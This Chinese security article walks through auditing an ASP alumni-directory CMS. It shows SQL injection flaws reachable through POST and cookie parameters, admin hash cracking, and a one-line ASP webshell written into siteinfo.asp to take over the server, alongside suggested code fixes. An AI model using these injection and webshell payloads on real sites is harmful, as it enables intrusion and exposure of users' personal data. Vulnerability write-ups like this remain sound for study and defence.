【.com 独家特稿】几乎每个公司或团体都会建立自己的网站,但由于各种原因,大部分人会使用网上 公 布的一些CMS来构建自己的网 站,但却很少有人会关注自己使用的CMS是否安全。下面存在漏洞的校友录就是一个 很好的例子,攻破后,校友的个人信息将全部泄露。
一、对某CMS的初步安检
1.初步查看 某日,在安天365群里,同伴发过来一个网址,让我友情检测一下该网站的 安全,打开后感觉 人气还不错,界面也比较简洁 。如图1所示。
图1 |
2.简单的安全测试 打开网站一看原来是个校友录,随便找个带参数的地方,加个单引 号,’, 返回的 结果如图2所示。
图2 |
很明显,程序做了防注入的处理,看来程序开发者还有点安全意识,做了一些安全措施,不过后来证明,防注 入也 只是检测了GET方法,并 未对POST和COOKIE做检测。正准备测试cookie注入,同伴kiss传了个源代码过来, 有源代码就 好办了,还是在本地测试安全,网上的毕竟是未 经授权的安全检测,多少存在一些风险。#p# 二、在本地进行安全测试
1.搭建测试环境 把校友录的源代码复制到IIS的web目录下,打开浏览器浏览,结果如图3所示。
图3 |
2.安装组件 很显示,我本地 服务器 不支持它的组件,先看说明。在安装说明里有这么 一句“组件安装方法 ,将 该组件复制到 C:\WINDOWS\system32里,并将此权限设置成允许网站访问组的“完全 控制权限”。例:将 everyone设置 成“完全控制”。然后在“开始/运行 ”中输入‘regsvr32 yvsy.dll’,卸 载方式为‘regsvr32 yvsy.dll -u’”。照 着它的方法注册了组件,如图4所示。
图4 |
3.搭建试验环境成功 注册成功后,再次浏览,一切正常了,后面 开始检测该CMS的安全漏 洞。如图5所示。
图5 |
#p# 三、挖掘并查找安全漏洞
1.解密CMS源代码 使用Editplus编辑器打开CMS下的源代码,发现程序作者对部分源代 码使用了Encoder加密,如图6所示。
图6 |
2.解密源代码 为了方便查看源代码,首先对它们进行解密,到网上下载asp脚本解密工 具,打开,选择源代码所 在目录,如图7所示。
图7 |
点击“开始解密”,几秒钟后就可以对文件夹下所有asp文件解密。解密后的代码如图8所示。
图8 |
说明:(1)其实,使用Encoder对asp脚本加密没什么必要,因为对于asp脚本解密太简单了,于其花时间 在加密 脚本上,不如将时间花在写更安全的代码上。
(2)什么是Encoder加密?Asp Encoder是微软推出的一套算法,并提供了一个命令行下的脚本加密工具 。 Script Encoder的特点是:它只加密页面中嵌入的脚本代码,其他部分,如HTML的TAG仍然保持原样不变。处 理后的文件 中被加密过的部分为只读内容,对加密部分的任何修改都将导致 整个加密后的文件不能使用。 Script Encoder加密过的 ASP文件还将使Script Debugger之类的脚本调试工具失效。
3.查找SQL注入点 因为代码还挺多的,不想一个个看,所以通过正则表达式来查找可能 存在注入的文件,之后再 慢慢看。打开EditPlus,点击“搜索”->“在文件中查找”,弹出的对话框,查找内 容填写 “((select|update|delete)+.*(FROM|set)+.*(where)+.*)”,文件类型填写“*.asp”,文件夹选择校 友录所在的文件 夹,再把“包含了文件夹”和“正则表达式”选项选上,如图9所示。
图9 |
此正则表达式的意思是查找文件夹下所有的asp文件,如果包含select、update和delete这些SQL语句,就显示 出来。 只花了一秒钟,结果出来了,有68个文件使用到SQL语句,如图10所示。
图10 |
图10 查询结果
说明:在编写处理字符串的程序或网页时,经常会有查找符合某些复杂规 则的字 符串的需要。正则表达式就是用于描述这些规则的工具。换句话说,正则表达式就是记录文本规则的代码 。很可能你使 用过Windows/Dos下用于文件查找的通配符(wildcard),也就是*和?。如果你想查找某个目录下的 所有的Word文档的话, 你会搜索*.doc。在这里,*会被解释成任意的字符串。和通配符类似,正则表达式也是用 来进行文本匹配的工具,只不 过比起通配符,它能更精确地描述你的需求——当然,代价就是更复杂——比如你 可以编写一个正则表达式,用来查找 所有以0开头,后面跟着2-3个数字,然后是一个连字号“-”,最后是7或8 位数字的字符串(像010-12345678或0376- 7654321)。
4.初审代码
(1)查看app.asp文件源代码在查询结果中先查看app.asp文件,如图11所示。
图11 |
第二行bid=clng(request(“bid”))把bid的值转为Long子类型,如果request的值不为数字,则会出现错误。如 图12所 示。CLng 函数可返回表达式,此表达式已被转换为 Long 子类型的 Variant。
图12 |
注意:值的范围必须是在-2147483648 和 2147483647之间。
(2)分析bbsadd.asp文件于是继续分析下一个文件,bbsadd.asp文件,第406-409行:
406 < %repquote=request(“repquote”)
407 if repquote<>”” then
408 rs.open “select userid,cantent from [bbs] where id=”&repquote&””,conn,1,1
409 reContent=obj.GetReContent(rs(“cantent”))
很明显,repquote参数未做任何过滤,直接放入SQL语句中,造成SQL注入。分析此文件得知,当引用别人的帖子 回复时,触发此 SQL注入。先浏览一下aid=2&bid=3&action=reply&repquote=2,返回正常,如图13所示。
图13 |
再加个单引号aid=2&bid=3&action=reply&repquote=2’返回图2一样防注入的页面,我在源代码中一直找不到 防注的 代码,应该是存在它的组件中。看似没有办法注入了,但我们还有POST和COOKIE注入没有试,先试POST方 法,直 接把URL 放到pangolin里,选择POST,在高级选项里读取cookie,点检测,一会,结果就出来了,如图14 所示。
图14 |
pangolin别看它是英文界面,它可是国人ZwelL写的一款Windows平台下的自动化SQL注入渗透测试工具。他实 现了 从检测到利用完成一体化的渗透攻击动作,尽可能的将攻击效果最大化。
(3)测试COOKIE注入再测试COOKIE注入,先依次在浏览器地址栏输入:aid=2&bid=3&action=reply&repquote=2 正常javascript:alert (document.cookie=”repquote=”+escape(“2 and 1=1”));aid=2&bid=3&action=reply 正常javascript:alert(document.cookie=”repquote=”+escape(“2 and 1=2”));aid=2&bid=3&action=reply 不正常,如图15所示。
图15 |
修补建议:把406行改为repquote =obj.regstr(request.form(“repquote”))
小知识:什么是POST注入和COOKIE注入?通常http请求不外乎 GET和POST两种方法,也就是说如果服务端 要从客 户端获取参数值的话,一般是使用Request.QueryString(“name”)或者Request.Form(“name”)方法,也可 以合成 Request (“name”),一般防注入程序只是对这两种方法提交的值作了过滤,而忽视了另外一种方法,那就 是 Request.Cookie (“name”),所以造成了COOKIE注入。
(3)继续分析源代码
继续一个个文件进行分析,其它文件没发现什么问题,一直来到登录文件login.asp。看28-35行:
28 if request ("submi")=1 then29 if comeurl="" Then ShowError("请在页面里登录")30 xyluser=request.form ("xyluser")31 xylpwd=md5(request.form("xylpwd"))32 if xyluser="" or xylpwd="" Then ShowError("用 户名和密码不可以为空")33 rs.open "select id,password,lastdate,logins,lastip,sitejob,sitemoney,isclose from user whereusername='"&xyluser&"'",conn,1,334 If Rs.eof and Rs.bof Then ShowError("你的用 户名不存在")35 if rs("password")<>xylpwd Then ShowError("你的密码错误") |
在第30行,xyluser变 量未过虑,直接放入SQL语句中,造成注入。但却不能 使用POST直接注入,看第29行,如果HTTPREFERER参数为空,就会提示“请在页面里登录”,直接提交
B5%C7%C2%BC&xyluser=n3tl04d。如图16所示。
图16 |
虽然不能使用POST直接注入,但可以通过一个php脚本来转发数据包来注入,中转脚本如下:ddddddddddddddddddddddd把此脚本放在一个支持CRUL的PHP空间上,同时还要magic_quotes_gpc = off, 如果magic_quotes_gpc = on,输入的单引号会被转义为“\’”,然后浏览,如图17所示。
图17 |
把id=n3tl04d放到Pangolin注入,如图18所示。
图18 |
修补建议:把第30行改为xyluser =obj.regstr(request.form(“xyluser”))
(4)分析后台文件adminbj.asp文件
分析后台文件adminbj.asp文件,先看代码10 <%ad=request(“ad”)11 type2=request(“type2”)12 bjid=request(“bjid”)13 Select Case type214 Case “edit”:……(略去无关代码)101 sub edit102 sql=”select * from bj where id=”&bjid&””103 rs.open sql,conn,1,1%>很明显,未对传入参数bjid的值未做任何过滤,直接放 入 SQL语句中,
,又是一个 注入, 但只能POST或COOKIE
注入,不过此此注入算是鸡肋的注入,因为要登录才能注入,没什么实际意义。同样的注入出现在后台多个文 件了, 这里就不一一写出来了。#p# 四、后台拿shell
1.猜解后台密码 后台登录有两个密码,这两个密码都存在admin表中,所以猜解admin 的表段时,需要手动添加 password2
第二个密码的表段,使用pangolin猜解,等一会,两个密码都猜出来了,如图19所示。
图19 |
2.破解密码并登录后台把d42683b3df678c61和c39059a89ab77d84拿到www.cmd5.com去解密,密码分别是admin1和admin2。拿去登录后台,成功。 如图20所示。
图20 |
这里不太明白,为什么开发者使用两个登录密码,而两个密码放在同一表里,这里对安全性并没有太大的提高 。应该把第二个密码使用其它加密方式单独写入一个asp文件中,这样安全性不是有更大的提高?
3.插入一句话后门查看一下siteinfo.asp文件,此文件是网站的一些信息配置文件,而后台 admin/siteinfo.asp对此配置文件编辑时,并不会对表单的值进行过滤,就给攻击者在配置文件写入一句话木马 的机会。在管理后台,点击站点参数,在网址栏输入:<%execute(request (“n”))%><%’/”> http:// ”%><%execute(request(“n”))%><%’,如图21所示。
图21 |
4.使用Lanker的Webshell连接后台使用lanker微型PHP+ASP管理器1.0双用版连接,如图22所示,成 功获得Webshell,之后可以上传大马,做进一步提权渗透测试。
图22 |
说明:此方法会造成网站无法正常浏览,在上传大马后,应及时恢复原配置文件siteinfo.asp。#p# 五、直接拿webshell
本来这是在最前面测试的,但由于各种原因,我把它放最后。数据库是以asp文件存在,如果使用者没更改默 认数据库文件,那么就在可以输入的地方往数据库内插入一句话木马,直接得到webshell。于是查找所有文件中 包含“request.form”的文件,最后在note.asp文件中发现,程序未对客户输入的内容做任何过滤,可以把一句 话木马直接插入数据库内。
if request("type2")="add" thenrs.open "select * from note1 where userid="&session("xyluserid")&"",conn,1,3If Rs.eof Thenrs.addnewresponse.write "添加成功"rs("userid")=session ("xyluserid")end ifrs("content")=request.form("content")rs.updaters.closeresponse.write "修改成功"end if |
于是尝试在往 数据库中插入:“%><%execute request(“n”)%><%”“%><%execute request (“n”)%>”等 多种一句话的Unicode字符,再访问数据库文件,都显示,无法闭合,如图23所示。
图23 |
原因是数据库中存在nodown表,做了防下载处理,不过应该可以突破,但本人能力有限,未能进一步突破。
安全小知识:如何建立nodown防下载表?首先,用notepad新建一个内容为“<%”的文本文件,随便起 个名字存档。接着,用Access打开您的数据库文件,在最后新建一个表,随便起个名字,在表中添加一个OLE 对象的字段,然后添加一个记录,插入之前建立的文本文件,如果操作正确的话,应该可以看到一个新的名为“ 数据包”的记录。#p# 六、总结
由于本人不懂ASP,能力有限,所以此次检测并没有太深入,还有一些XSS跨站攻击和上传等也未进行测试,总 体来说,这套CMS的安全性还是可以的,如果管理员密码设置复杂一些,登录不了后台,那也无法拿到webshell。 个人认为在选择CMS时,选择一些成熟的CMS产品安全性会高些,同时也应该把数据库文件和配置文件的名称改复 杂一些。
【编辑推荐】
请问asp网站管理系统,如何彻底避免遭受攻击。
这样,教你个方法.
你数据库不用删的,一般数据库内是不会有病毒的,你把以前生成的静态页面全部删除,删除干净后,再在后台重新生成所有的.
然后再对主机进行文件夹或者文件保护,限制访问者只能访问什么类型的文件.
asp后台漏洞到底存在多少?
多的要命,比如有些网站的后台,(包括友情链接管理,留言管理)登陆甚至没改默认的ADMIN,我们只要把账户密码都输入ADMIN就可以登陆,我惊讶地发现,某地公安纪委网的网站都有这样的管理员登陆验证漏洞。 公告啊,新闻啊,通通都能改了。
求一般网站服务器安全防范措施
黑客的入侵大体也就是利用服务器的漏洞进行嗅探,所以除利用一些像云安服务器卫士这样的专业服务器安全软件外,最好还懂一些服务器的安全设置防范知识,手动设置提高安全级别。 像帐号守护,端口保护,帐号密码要设置复杂组合同时大于8位等。
发表评论